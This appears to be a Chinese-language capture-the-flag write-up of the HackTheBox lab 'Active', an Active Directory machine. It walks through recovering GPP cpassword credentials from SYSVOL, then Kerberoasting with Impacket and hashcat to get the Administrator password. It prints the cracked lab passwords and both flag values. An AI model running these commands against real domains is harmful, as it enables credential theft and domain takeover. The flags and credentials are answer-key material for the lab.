信息收集
IP Address | Opening Ports |
---|---|
10.10.10.100 | TCP:53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49166,49168 |
$ nmap -p- 10.10.10.100 --min-rate 1000 -sC -sV
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-08-19 09:10:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3725/tcp filtered na-er-tip
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
31729/tcp filtered unknown
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47684/tcp filtered unknown
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
49166/tcp open msrpc Microsoft Windows RPC
49168/tcp open msrpc Microsoft Windows RPC
52751/tcp filtered unknown
61966/tcp filtered unknown
64118/tcp filtered unknown
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
# echo "10.10.10.100 active.htb" >> /etc/hosts
SMB & GPP凭证泄露
$ smbclient -L //10.10.10.100
$ smbclient //10.10.10.100/Replication
smb:\> cd \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml
GPP(Group Policy Preferences,组策略首选项)是微软在 Windows Server 2008 中引入的一项功能,旨在为管理员提供更灵活、更强大的组策略管理功能。通过 GPP,管理员可以在 Active Directory 环境中配置和管理各种设置,例如文件和文件夹、驱动器映射、服务、计划任务和用户账户等。
解密 GPP 凭据
$ gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
GPPstillStandingStrong2k18
每当创建一个新的组策略首选项(GPP)时,都会在SYSVOL共享中创建一个xml文件,其中包含该配置数据,包括与GPP关联的任何密码。为了安全起见,Microsoft AES在将密码存储为cpassword之前对其进行加密。但后来微软在MSDN上发布了密钥!
SMB & GPP凭证泄露
$ smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
$ smbclient //10.10.10.100/Users -U active.htb\\SVC_TGS%GPPstillStandingStrong2k18
smb: \> get \SVC_TGS\Desktop\user.txt
User.txt
699a41d92a04f21b2e2b3ee2a4542c35
权限提升
Kerberoasting & Kerberos-管理员TGS票据破解
Kerberoasting 的工作原理
服务主体名称(SPN):
在 Windows 域中,许多服务(例如 SQL Server、IIS 等)都有对应的服务主体名称(SPN)。这些 SPN 关联到域账户,通常是服务账户。
请求服务票证(TGS):
攻击者使用经过身份验证的普通域用户账户向域控制器(DC)请求一个目标服务的服务票证(TGS)。因为 Kerberos 允许任何经过身份验证的用户请求任何服务的票证,这个请求是合法的。
获取加密的票证:
域控制器会生成一个加密的 TGS(使用目标服务账户的哈希值进行加密),并将其返回给请求的用户。
离线破解:
攻击者可以将这个加密的 TGS 导出,并在离线环境中使用工具(如 Hashcat)进行暴力破解或字典攻击。因为加密的 TGS 是使用服务账户的 NTLM 哈希加密的,所以成功破解后,攻击者可以获得该服务账户的明文密码。
$ python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS -save -outputfile SVC_TGS.out
$ hashcat -m 13100 -a 0 SVC_TGS.out /usr/share/wordlists/rockyou.txt --force
$ smbclient //10.10.10.100/C$ -U active.htb\\Administrator%Ticketmaster1968 -c "get \users\administrator\desktop\root.txt /tmp/root.txt"
Root.txt
31b17b96852b1102d3e4e1160e511797